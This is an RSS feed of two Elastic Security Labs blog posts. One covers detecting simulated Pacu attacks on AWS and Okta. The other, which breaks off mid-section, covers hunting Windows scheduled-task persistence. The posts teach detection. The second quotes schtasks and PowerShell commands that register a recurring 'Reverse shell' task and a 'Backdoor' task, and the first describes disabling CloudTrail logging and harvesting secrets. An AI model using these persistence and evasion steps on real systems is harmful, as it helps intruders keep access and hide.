<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title><![CDATA[David French - Elastic Security Labs]]></title>
    <description><![CDATA[Trusted security news & research from the team at Elastic.]]></description>
    <copyright><![CDATA[© 2026. Elasticsearch B.V. All Rights Reserved]]></copyright>
    <image>
      <title><![CDATA[David French - Elastic Security Labs]]></title>
      <url>https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2c6b841aff36df4/6a88d9784acc96e3f324863d/security-labs-thumbnail.png</url>
      <link>https://www.elastic.co/security-labs/author/david-french</link>
    </image>
    <link>https://www.elastic.co/security-labs/author/david-french</link>
    <atom:link href="https://www.elastic.co/security-labs/rss/author/david-french.xml" rel="self" type="application/rss+xml"/>
    <language><![CDATA[en]]></language>
    <lastBuildDate>Tue, 15 Sep 2026 00:54:43 GMT</lastBuildDate>
  <item>
    <title><![CDATA[Security operations: Cloud monitoring and detection with Elastic Security]]></title>
    <description><![CDATA[As companies migrate to cloud, so too do opportunist adversaries. That's why our Elastic Security team members have created free detection rules for protecting users' cloud platforms like AWS and Okta. Learn more in this blog post.]]></description>
    <content:encoded><![CDATA[<p>As many organizations have migrated their infrastructure, applications, and data to cloud offerings, adversaries have extended their operational capabilities in cloud environments to achieve their mission — whether that means stealing intellectual property, disrupting business operations, or holding an organization's data for ransom. In order to protect our users' data from attack, the Elastic Security Intelligence &amp; Analytics Team researches and develops <a href="https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo">rules</a> to detect attacker behavior in the cloud <em>and</em> on the endpoint.</p>
<p>In this post, we'll discuss cloud monitoring and detection-related challenges security operations teams face, and why attacks against cloud environments are often successful. We will share details on our free cloud detection rules (including many new ones released in <a href="https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security">Elastic Security 7.9</a>) and show how they can help <a href="https://www.elastic.co/security">Elastic Security</a> users.</p>
<p>We'll also explain how Elastic can ingest logs from a wide variety of cloud platforms and how the Elastic Common Schema (ECS) makes searching, monitoring, and detection easy for defenders.</p>
<h2 id="cloudmonitoringanddetectionchallenges">Cloud monitoring and detection challenges</h2>
<p>Security teams typically encounter one or more of the following challenges when they're asked to monitor, detect, and respond to threats in their organization's cloud environments:</p>
<ul>
<li><strong>Resource constraints:</strong> It can take a considerable amount of time to learn and understand cloud technologies and their ever-changing data sources. Many security operations teams do not have the resources to allocate to this ongoing effort.</li>
<li><strong>Understanding of adversary tradecraft:</strong> Attacker behavior on well-known platforms such as Windows has been researched extensively and shared with the security community. Security teams may not have an in-depth understanding of how adversaries operate in cloud environments or the ability to provision a test environment to practice offensive and defensive techniques to protect their organization.</li>
<li><strong>Blind spots:</strong> For effective monitoring and detection, the data available to security practitioners must be relevant, accurate, and timely. Cloud logs shipped to a SIEM can be used for detection and response as long as the security team can depend on the quality of the data.</li>
<li><strong>Data normalization:</strong> Most cloud platforms have their own log categories and event schema. Normalizing logs into a common schema is not a trivial or one-off task. Some security teams, for example, have several different field names for a hostname across their data sources indexed in their SIEM. Without a normalized and documented schema, it can be difficult for analysts — especially less experienced ones — to write search queries and correlate events across data sources effectively.</li>
</ul>
<h2 id="ingestingandsearchingcloudlogswithelastic">Ingesting and searching cloud logs with Elastic</h2>
<p>Elastic has a large collection of Filebeat <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html">modules</a> that can be used to simplify the collection, parsing, and visualization of many diverse log formats into a common schema — including cloud platforms such as <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-aws.html">Amazon Web Services (AWS)</a>, <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-azure.html">Azure</a>, <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta</a>, and <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-o365.html">Office 365</a>. Rapid development of new Filebeat modules is an ongoing process.</p>
<p>The <a href="https://www.elastic.co/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema</a> (ECS) defines a common set of fields for ingesting logs from a connected data source (e.g., AWS/Okta) into Elasticsearch. Log data is normalized into a format where the various field names can be used in queries to correlate behavior across data sources. This is useful to security and IT operations teams for a number of reasons.</p>
<p>Practitioners and administrators do not need to spend countless hours transforming or normalizing their ingested logs so that the field names follow their own common schema. Managing a schema like this yourself is no small undertaking and is a continuous effort. Elastic manages ECS (saving users time and resources) so that security teams can rely on a common set of field names to search their data quickly and efficiently.</p>
<p>End users can rely on using the same field names in their queries when searching across multiple data sources, which presents the following advantages:</p>
<ul>
<li>Having a consistent schema for searching saves security analysts time and lowers the barrier to entry for new analysts. Analysts don't have to learn or remember all of the different field names and their purpose for each data source.</li>
<li>Analysts can correlate events across data sources such as endpoint, proxy, and firewall, which helps them ask questions of their data more efficiently and make sound decisions during an investigation, incident, or hunt.</li>
<li>It's easy for analysts to produce a timeline or build a visualization of the activity that occurred.</li>
</ul>
<h2 id="detectingattackersoperatingincloudenvironments">Detecting attackers operating in cloud environments</h2>
<p>The Elastic Security Intelligence &amp; Analytics Team's research into adversary tradecraft leads to new detection features like rules and machine learning jobs — capabilities that enable small security teams to have an outsized impact. Security features like these increase the cost of an attack for adversaries. Elastic Security users can expect to see a continued focus on increasing the cost of cloud attacks.</p>
<p>In the remainder of this blog post, we'll simulate attack techniques against AWS and Okta cloud environments. We'll review the alerts that are generated by the suspicious activity and how an analyst can perform initial triage and complete their investigation using Elastic Security. We will also demonstrate how analysts can add exceptions to detection rules in order to filter benign events and continue to alert on suspicious behavior.</p>
<h2 id="monitoringawscloudtraillogstodetectsuspiciousbehavior">Monitoring AWS CloudTrail logs to detect suspicious behavior</h2>
<p>As organizations migrate to or provision new infrastructure in cloud platforms like AWS, they face the common challenges that we described earlier. Fortunately, Elastic Security has a <a href="https://github.com/elastic/detection-rules/tree/main/rules/aws">strong variety of AWS rules</a>, available for <a href="https://www.elastic.co/blog/whats-new-elastic-security-7-9-0-free-endpoint-security">free in 7.9</a> to detect suspicious behaviors in an AWS environment.</p>
<p>The Filebeat <a href="https://www.elastic.co/guide/en/beats/filebeat/master/filebeat-module-aws.html">module</a> for AWS helps you easily ship CloudTrail, Simple Storage Service (S3), Elastic Load Balancing (ELB), and virtual private cloud (VPC) flow logs to Elasticsearch for monitoring and detection in Elastic Security. Let's walk through an attack and defense scenario utilizing CloudTrail data. <a href="https://aws.amazon.com/cloudtrail/">CloudTrail</a> provides event history of your AWS account activity, including actions taken through the AWS Management Console, AWS software development kits (SDKs), command line tools, and other AWS services. This event history can help simplify security detection, analysis, and investigations.</p>
<p>Many attacks against AWS start with an attacker obtaining an access key and/or the secret access key details. These keys may be harvested in a variety of ways, including through phishing, a data breach, GitHub repositories, screenshots, error messages, snapshot data, or simply poor key management practices. By obtaining these keys, an attacker can take a variety of actions against your AWS infrastructure.</p>
<p>Let's walk through one of the many potential attack scenarios that could play out. In the following example, the adversary enumerates the trails and monitoring capabilities that have been configured for the AWS account. They follow up on this activity by disabling a trail and a configuration recorder in an attempt to evade detections and then proceed to harvest secrets.</p>
<h3 id="simulatingadversarybehaviorinaws">Simulating adversary behavior in AWS</h3>
<p>In this demonstration, we'll use <a href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a> to perform our attack. Pacu is a popular framework for exploiting AWS infrastructure, developed and maintained by Rhino Security Labs. Pacu is modular, similar to other exploitation frameworks like Metasploit and Koadic, and enables attackers to exploit configuration flaws within an AWS account. Attackers can use Pacu to check if the required permissions are assigned to the compromised account before attempting to execute a module. This can be helpful from an attacker's perspective to not create unnecessary noise and logs, and draw additional attention from defenders by running modules that will ultimately fail.</p>
<p>The attacker begins by enumerating services using the detection__enum_services module to determine what logging and monitoring services are enabled for the AWS account.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2445da64c7f0c9aa/6a7d7e1f51156a014c2bf7e9/1-enumerating-services-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 1 - Enumerating services using Pacu’s detection__enum_services module " title="Figure 1 - Enumerating services using Pacu’s detection__enum_services module" /></p>
<p>The attacker discovered eight trails, as well as ten configuration rules, a recorder, and a delivery channel. Essentially, the enumeration script is querying certain AWS API calls to list or describe relevant information about the environment. By reviewing the <a href="https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/detection__enum_services/main.py">code</a> of the module, we can see the targeted APIs:</p>
<pre><code>DescribeSubscription
GetSubscriptionState
DescribeTrails
ListDetectors
DescribeConfigRules
DescribeConfigurationRecorders
DescribeConfigurationRecorderStatus
DescribeDeliveryChannels
DescribeDeliveryChannelStatus
DescribeConfigurationAggregators
DescribeAlarms
DescribeFlowLogs
</code></pre>
<p>After the attacker determines which services are running, their next logical step may be to interrupt logging and monitoring by disabling a trail, alarm, detector, or recorder in an attempt to evade detection. To accomplish this objective, we'll use a different module called detection__disruption to disable a trail called brentlog, and stop the configuration recorder named default.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6c2c596809db5f7/6a7d7e228fc2d07bee3eb80b/2-disabling-trail-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 2 - Disabling a trail and stopping a configuration recorder using Pacu’s detection__disruption module " title="Figure 2 - Disabling a trail and stopping a configuration recorder using Pacu’s detection__disruption module" /></p>
<p>At this point, with trail logging suspended and the configuration recorder turned off from tracking changes to resources, the attacker may want to check if there are any credentials, API keys, or tokens available in <a href="https://aws.amazon.com/about-aws/whats-new/2018/04/introducing-aws-secrets-manager/#:~:text=AWS%20Secrets%20Manager%20is%20a,other%20secrets%20throughout%20their%20lifecycle.">Secrets Manager</a> and if so, collect them. In this scenario, the attacker uses the enum_secrets module and finds one secret in the directory, /sessions/brent/downloads/secrets/secrets_manager. Harvesting these secrets could help the adversary achieve lateral movement and/or privilege escalation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa9228880b614597/6a7d7e242f00b24c1befbe3a/3-searching-aws-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 3 - Searching for AWS secrets using Pacu's enum__secrets module" title="Figure 3 - Searching for AWS secrets using Pacu's enum__secrets module" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bde01ed27e6e784/6a7d7e27bdcff059f8c3ffd5/4-viewing-aws-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 4 - Viewing the AWS secret after its discovery" title="Figure 4 - Viewing the AWS secret after its discovery" /></p>
<p>We'll stop our fictitious attack scenario here, but if you're curious to learn what the attacker could do next, the following Google search will return some examples: intitle:"AWS" intext:("attack" | "breach"). In the next section, we'll look at what this behavior looks like from a defender's perspective and how Elastic Security can be used to detect this behavior.</p>
<h3 id="detectingandinvestigatingthesuspiciousbehaviorinaws">Detecting and investigating the suspicious behavior in AWS</h3>
<p>While monitoring the usage of the previously mentioned APIs, it can be difficult to distinguish benign activity from suspicious behavior, such as an attacker enumerating an environment. In production environments, monitoring for calls to these APIs can be noisy, as the behavior is quite common. To help find this rare and potentially suspicious behavior, and in addition to the AWS detection rules we have available, we've released <a href="https://github.com/elastic/detection-rules/tree/main/rules/ml">machine learning</a> jobs in 7.9 specifically for AWS CloudTrail that help identify outliers, such as patterns of unusual activity that are hard to find using conventional detection rules.</p>
<p>Looking at our detections page from the previous attack, we can see multiple alerts were triggered. Our free built-in detection rules identified the techniques of <em>suspending a trail</em>, <em>stopping a configuration recorder</em>, and <em>grabbing sensitive information from the secrets manager</em>. The other alerts are from the machine learning jobs of <a href="https://www.elastic.co/guide/en/security/7.9/unusual-city-for-an-aws-command.html"><em>Unusual Country For an AWS Command</em></a> and <a href="https://www.elastic.co/guide/en/security/master/unusual-aws-command-for-a-user.html"><em>Unusual AWS Command for a User</em></a> which identify a geolocation (country) that is unusual for the command or a user context that does not normally use the command.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfbac51dab0c68105/6a7d7e2a51156a2a132bf7ed/5-viewing-detection-alerts-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 5 - Viewing the detection alerts in Elastic Security" title="Figure 5 - Viewing the detection alerts in Elastic Security" /></p>
<p>If we pivot into one of the machine learning alerts, we can see a description of what it detected, along with a built-in investigation guide to walk an analyst through a potential workflow when analyzing an unusual CloudTrail event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte502455b7c1f9453/6a7d7e2d4c4bfb30dfcca7bc/6-machine-learning-alert-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 6 - Viewing the details of a machine learning alert" title="Figure 6 - Viewing the details of a machine learning alert" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd3c551015c7a5918/6a7d7e308fc2d030513eb811/7-viewing-investigation-notes-blog-secops-cloud-platform-monitoring.png" alt="Figure 7 - Viewing the investigation notes for an unusual CloudTrail event" title="Figure 7 - Viewing the investigation notes for an unusual CloudTrail event" /></p>
<p>Let's also take a look at the details in the Timeline view from the <a href="https://www.elastic.co/guide/en/security/master/aws-configuration-recorder-stopped.html"><em>AWS Configuration Recorder Stopped</em></a> alert. The fields I'm particularly interested in are the API call, user agent string, user identity type, request parameters, and the raw text of the entire event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba913025b586065c/6a7d7e33e3a219631e99c69d/8-alert-details-timeline-blog-secops-cloud-platform-monitoring.png" alt="Figure 8 - Analyzing the alert details in the Timeline" title="Figure 8 - Analyzing the alert details in the Timeline" /></p>
<p>By analyzing the alert, we're able to quickly determine:</p>
<p>|                    |                                                                                                                                                                                                                                                      |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Field              | Description                                                                                                                                                                                                                                          |
| event.action       | Tells us the AWS API call that was made, StopConfigurationRecorder                                                                                                                                                                                   |
| request_parameters | Gives us the details about what was sent in the request, in our case, the configuration recorder name, default                                                                                                                                       |
| user.name          | Informs us as to who made the request, pacu                                                                                                                                                                                                          |
| user_identity.type | Contains details about the type of Identity and Access Management (IAM) identity. In our case, an IAMUser. Root is another user identity type we have built in rules for.                                                                            |
| user_agent         | The value of the HTTP User-Agent header. User agent strings can be easily modified, but if an account typically uses the AWS Java SDK for their API calls, and it changes, then the detection of the anomalous user agent string can be a quick win. |
| event.original     | Gives us the raw alert details                                                                                                                                                                                                                       |</p>
<p><em>Table 1 - Analysis of alert fields</em></p>
<p>After analyzing the alert, we can start to piece together the events and look at what actions the user took just before our alerts fired (and afterwards as applicable). Again, we can spot the attackers enumeration here as well.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68aa0e610ebd993a/6a7d7e3696b5a66f1787859f/9-event-history-blog-secops-cloud-platform-monitoring.png" alt="Figure 9 - Viewing event history for the user Pacu in the Timeline " title="Figure 9 - Viewing event history for the user Pacu in the Timeline" /></p>
<p>We may also want to search our environment for specific API calls to see if they were invoked by other users or hosts, from different IPs, or at other time frames that would be suspicious in our environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcc259ce7764b007e/6a7d7e3abdcff074e5c3ffd9/10-api-history-blog-secops-cloud-platform-monitoring.png" alt="Figure 10 - Viewing API call history for the StopConfigurationRecorder API in the Timeline " title="Figure 10 - Viewing API call history for the StopConfigurationRecorder API in the Timeline" /></p>
<p>We can also create a visualization to look for the least common API calls in our environment and pivot from there. For AWS, the API calls are in the event.action field.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt084ac25f099dfa4b/6a7d7e3c96b5a6ef888785a3/11-visualization-api-calls-blog-secops-cloud-platform-monitoring.png" alt="Figure 11 - Using a visualization to look for least common API calls in our environment " title="Figure 11 - Using a visualization to look for least common API calls in our environment" /></p>
<p>As demonstrated, our free built-in rules for AWS can detect this activity as well as a number of other potential attack scenarios. We've opened up our <a href="https://github.com/elastic/detection-rules">rules repository</a> and encourage you to have a look and learn how to <a href="https://github.com/elastic/detection-rules#how-to-contribute">contribute</a> if interested.</p>
<h2 id="detectingsuspiciousbehaviorinoktalogs">Detecting suspicious behavior in Okta logs</h2>
<p><a href="https://www.okta.com/products/single-sign-on/">Okta single sign-on (SSO)</a> is a cloud solution that allows users to log into a variety of systems in their organization via a centralized process using a single user account. Informing end users that they only have to remember one username and password instead of ten or more reduces the risk that they'll adopt poor password hygiene and enables system administrators to enforce stronger password policies. Further, multi-factor authentication (MFA) policies can be configured in Okta, which raises the barriers to entry for attackers. Many attackers will simply move on to look for an easier target when they discover that MFA is enforced for their target's network or user account.</p>
<p>While SSO solutions can provide a convenient user experience and reduce cybersecurity risk for an organization, these centralized systems that offer a type of skeleton key to many systems and applications are often an attractive target for attackers. For example, if an adversary manages to harvest an Okta administrator's credentials or API token, they could attempt to perform any of the actions in the non-exhaustive list below:</p>
<ul>
<li>Modify or disable MFA policies for one or more applications in order to weaken their victim's security controls.</li>
<li>Create new user accounts or API tokens to maintain persistence in their target's environment and attempt to “blend in” and evade detection.</li>
<li>Modify, delete, or deactivate an Okta network zone to loosen the restrictions on which geolocation users or administrators can login from.</li>
<li>Delete or disable an application or other configuration to create a Denial-of-Service (DoS) condition and impact a company's business operations.</li>
</ul>
<p>To enable security teams to monitor their Okta environment for suspicious activity, our <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta Filebeat module</a> can pull <a href="https://developer.okta.com/docs/reference/api/system-log/">Okta System Log</a> events and ship them to Elasticsearch to be indexed. Okta's System Log records events related to an organization in order to provide an audit trail that can be used to understand platform activity. The Elastic Security Intelligence &amp; Analytics Team has <a href="https://github.com/elastic/detection-rules/tree/main/rules/okta">free rules</a> to detect suspicious activity in Okta logs and will continue adding more in future.</p>
<p>In the following example, imagine that an adversary has harvested an API token after gaining initial access to an organization's network. The API token has administrator privileges and the adversary executes some actions in their target's Oka environment:</p>
<ul>
<li>Create a new user account and assign administrative permissions to it in order to maintain a presence in the target environment should the security team discover that the current API token is compromised</li>
<li>Deactivate a sign-on policy in order to weaken the target's security controls</li>
<li>Disable a network zone to enable attackers to authenticate from any geographical location during their intrusion</li>
</ul>
<p>The Okta Filebeat module was configured to ship Okta System Log events to Elasticsearch and our Okta rules were activated in Elastic Security. The suspicious activity triggered three alerts shown in Figure 12 below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1be76b5bdf1f4fb8/6a7d7e3f5967e551cf5da497/12-okta-alerts-blog-secops-cloud-platform-monitoring.png" alt="Figure 12 - Okta alerts in Elastic Security generated by suspicious activity" title="Figure 12 - Okta alerts in Elastic Security generated by suspicious activity" /></p>
<p>Clicking on one of the alerts allows the analyst to review more information about the rule, including the description of the behavior that the rule detects, severity and risk scores, and the associated MITRE ATT&amp;CK® tactic and technique. The analyst can scroll further down the page and begin to investigate the alert in Timeline.</p>
<p>To learn more how Elastic supports ATT&amp;CK, see our presentation: <a href="https://youtu.be/2Hh5spqA6bw">How to Plan and Execute a Hunt</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcd233600fc5d2fee/6a7d7e436c6eac6aa3f112e2/13-rule-information-blog-secops-cloud-platform-monitoring.png" alt="Figure 13 - Viewing a rule's information and settings" title="Figure 13 - Viewing a rule's information and settings" /></p>
<p>Security practitioners know that every organization's network is different. Behavior that looks suspicious in one environment may be benign in another. To help security teams find the proverbial “signal in the noise,” users can add exceptions to their detection rules to filter benign events and continue to alert on suspicious events. Figure 14 shows an exception being added to an Okta rule.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt479de802d9fa2855/6a7d7e4651156a189b2bf7f1/14-adding-exception-blog-secops-cloud-platform-monitoring.jpg" alt="Figure 14 - Adding an exception to a rule in Elastic Security" title="Figure 14 - Adding an exception to a rule in Elastic Security" /></p>
<p>We've also introduced the "threshold" rule type. Threshold rules aggregate query results and generate an alert when the number of matched events exceeds a certain threshold. The example rule below will generate an alert when 25 Okta user authentication failures occur from a single source IP address. This can be indicative of a brute force or password spraying attack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt547d925aa4b74189/6a7d7e49dd26d215602a7212/15-okta-brute-force-blog-secops-cloud-platform-monitoring.png" alt="Figure 15 - Reviewing a threshold rule configured to detect an Okta brute force attack" title="Figure 15 - Reviewing a threshold rule configured to detect an Okta brute force attack" /></p>
<p>Viewing an alert generated by a threshold rule in the Timeline allows an analyst to review the events that triggered the rule and begin their triage process or investigation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltffa02066c6056b30/6a7d7e4cead8ec7746ba7ab1/16-reviewing-alert-blog-secops-cloud-platform-monitoring.png" alt="Figure 16 - Reviewing an alert from a failed Okta authentication threshold rule in Timeline" title="Figure 16 - Reviewing an alert from a failed Okta authentication threshold rule in Timeline" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>According to Verizon's latest <a href="https://enterprise.verizon.com/resources/reports/dbir/">Data Breach Investigations Report</a>, cloud assets were involved in 24% of the report's 3,950 data breaches reviewed last year. As organizations continue to migrate their data and business operations to the cloud, we can expect this number to increase.</p>
<p>In this blog post, we discussed some of the challenges that security teams face when attempting to monitor for, detect, and investigate suspicious behavior in their organization's cloud environments. We walked through some practical examples on how attackers operate in cloud environments and how Elastic Security can detect those techniques.</p>
<p>The Elastic Security Intelligence &amp; Analytics Team researches adversary tradecraft and develops new detection rules and machine learning jobs for multiple platforms including cloud. Our users can expect to see our continued focus on increasing the cost of cloud attacks.</p>
<p>Configuring our <a href="https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-modules.html">Filebeat modules</a> to ship logs to Elasticsearch and enable detection rules in Elastic Security is easy. Our <a href="https://github.com/elastic/detection-rules">free detection rules</a> help security teams monitor those logs and detect suspicious behavior, regardless of the size of their team. Elastic Security enables analysts to triage and investigate those alerts quickly and efficiently.</p>
<p>If you're interested in learning more about Elastic Security, you can <a href="https://www.elastic.co/security">download it for free</a> or sign up for a free 14-day trial of <a href="https://www.elastic.co/cloud/">Elastic Cloud</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/cloud-monitoring-and-detection-with-elastic-security</link>
    <guid isPermaLink="false">cloud-monitoring-and-detection-with-elastic-security</guid>
    <category><![CDATA[Cloud Security]]></category>
    <dc:creator><![CDATA[Brent Murphy,David French,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt23836ecff5128248/6a7d7e4f448e4ec7495bdaad/blog-thumb-network-attack-map.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 30 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 2)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>In Part 2 of this two-part series, our goal is to provide security practitioners with better visibility, knowledge, and capabilities relative to malicious persistence techniques that impact organizations around the world every day.</p>
<p><a href="https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1">Part 1</a> explained what persistence is and why attackers need it. It introduced the Event Query Language (<a href="https://www.elastic.co/blog/getting-started-eql">EQL</a>) before showing its practical use cases for threat hunting. Finally, it examined a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We shared how <a href="https://www.elastic.co/security">Elastic Security</a> users can hunt for and detect this technique being used in their environment.</p>
<p>In this post, we’ll explore two additional persistence techniques that are being used by attackers in the wild: Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>) and BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>). This blog assumes you've already learned a little EQL as we walk through real-world examples and provide ready-to-use detection logic for each technique.</p>
<h2 id="persistenceviascheduledtaskst1053">Persistence via scheduled tasks (T1053)</h2>
<p>Windows provides a built-in utility called schtasks.exe that allows you to create, delete, change, run, and end tasks on a local or remote computer. Scheduled tasks run at an elevated privilege level, which means this persistence mechanism can indirectly satisfy privilege escalation (TA0004) as well. It’s important to be aware of scheduled tasks that exist in your environment (such as maintenance or backup tasks) as well as tasks created during the installation of new software (like PDF readers or browsers). It's also essential for security teams to baseline their environment, as knowing all the legitimate ways that scheduled tasks are used will help you become a more effective hunter and identify anomalies more quickly.</p>
<p>An adversary may attempt to abuse scheduled tasks to execute programs at startup or on a regular cadence for persistence. Threat actors like <a href="https://attack.mitre.org/groups/G0049/">APT34</a>, <a href="https://attack.mitre.org/groups/G0016/">APT29</a>, and <a href="https://attack.mitre.org/groups/G0037/">FIN6</a> have been known to use scheduled tasks as a means to persist. Figure 1 depicts some of the command line parameters available to schtasks.exe, which we can use as references when analyzing task creation events.</p>
<pre><code>/Create - creates a new scheduled task
/RU - specifies the "run as" user account
/SC - specifies the schedule frequency
/TN - specifies the string in the form of path\name which uniquely identifies this scheduled task
/TR - specifies the path and file name of the program to be run at the scheduled time
/MO - specifies how often the task runs within its schedule type
/F - forcefully creates the task and suppresses warnings if the specified task already exists
</code></pre>
<p><em>Figure 1 - Portion of Windows schtasks.exe available command line parameters</em></p>
<p>Figure 2 shows an example of a schtasks.exe command. <a href="https://lolbas-project.github.io/lolbas/Binaries/Schtasks/">This example</a> is from the popular <a href="https://lolbas-project.github.io/">Living Off The Land Binaries and Scripts (LOLBAS)</a> project that demonstrates how built-in, trusted Operating System utilities can be abused by adversaries to achieve their objectives. By looking at the command line parameters in the example, the task named Reverse Shell is configured to execute the binary C:\some\directory\revshell.exe every minute.</p>
<pre><code>schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe /create /sc minute /mo 1 /tn "Reverse shell" /tr C:\some\directory\revshell.exe
</code></pre>
<p><em>Figure 2 - Example of scheduled task creation using schtasks.exe</em></p>
<p>Windows PowerShell also includes several <a href="https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/?view=win10-ps">ScheduledTasks cmdlets</a> that can be used to create and manage scheduled tasks on Windows endpoints. Security teams can hunt for suspicious usage of these cmdlets including the ones listed in Figure 3. Organizations that have already deployed PowerShell 5.0 should consider monitoring suspicious script block logging events, Event ID 4104. A good resource on PowerShell visibility and recommended log sources to monitor can be found <a href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">here</a>.</p>
<pre><code>New-ScheduledTaskAction - creates a scheduled task action
New-ScheduledTaskTrigger - creates a scheduled task trigger object
Register-ScheduledTask - registers a scheduled task definition on a local computer
</code></pre>
<p><em>Figure 3 - Common PowerShell cmdlets for scheduled task creations</em></p>
<p>Figure 4 shows how these PowerShell cmdlets can be used to create and register a scheduled task.</p>
<pre><code>PS C:\&gt; $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\&gt; $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\&gt; $D = New-ScheduledTask -Action $A -Trigger $T
PS C:\&gt; Register-ScheduledTask Backdoor -InputObject $D
</code></pre>
<p><em>Figure 4 - PowerShell cmdlets being used to create and register a scheduled task</em></p>
<h2 id="realworldexampleapt34scheduledtasksabuse">Real-world example: APT34 scheduled tasks abuse</h2>
<p>As mentioned previously, APT34, a highly organized and technical state-sponsored threat group, is known to use scheduled tasks for persistence. The following visualization (Figure 5) depicts one of the ways a scheduled task can be used. In this case, we’re seeing the result of a victim opening a phishing lure (Step 1) — attributed to the APT34 threat group — via the Resolver view. Resolver is a critical enabler for security practitioners, as discussed in <a href="https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1">Part 1</a>. In this example, the following behaviors can be observed:</p>
<ul>
<li>A malicious macro, embedded within a Microsoft Word document, was opened (Step 2)</li>
<li>Upon opening the Word document and executing the malicious macro, the native Windows script interpreter (wscript.exe) executed a script introduced by the adversary (Step 3)</li>
<li>The script created a callback to C2 while also establishing persistence via a scheduled task (Step 4)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2758920df574e2a/6a7d81d1ead8ec8ef3ba7b4e/adversary-tradecraft-101-part-2-image1.jpg" alt="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" title="Figure 5 - Elastic Endpoint Security’s Resolver view showing process ancestry after a user opened a malicious Word document, leading to the configuration of a persistent scheduled task" /></p>
<p>Figure 6 depicts the command line arguments parsed from the malicious scheduled task. Every minute, the native Windows Script Host utility, wscript.exe, will execute the malicious VBScript file, AppPool.vbs, which resides in the ProgramData subdirectory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd4c31c9b416f2e3/6a7d81d4e02fac22d55d352a/adversary-tradecraft-101-part-2-image2.png" alt="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" title="Figure 6 - Resolver showing command line arguments executed with schtasks.exe" /></p>
<h2 id="huntingforscheduledtasks">Hunting for scheduled tasks</h2>
<p>With an understanding of the technique, observable artifacts, and common attributes of schtasks.exe execution, we're better prepared to succeed in our hunt for malicious scheduled task creation events. The EQL query in Figure 7 matches event sequences where the task scheduler process, schtasks.exe, is created by one of several commonly abused binaries and matches some of the command line parameters previously described. By uniquing on the command line, this allows us to focus our hunt on unique task creations and their properties.</p>
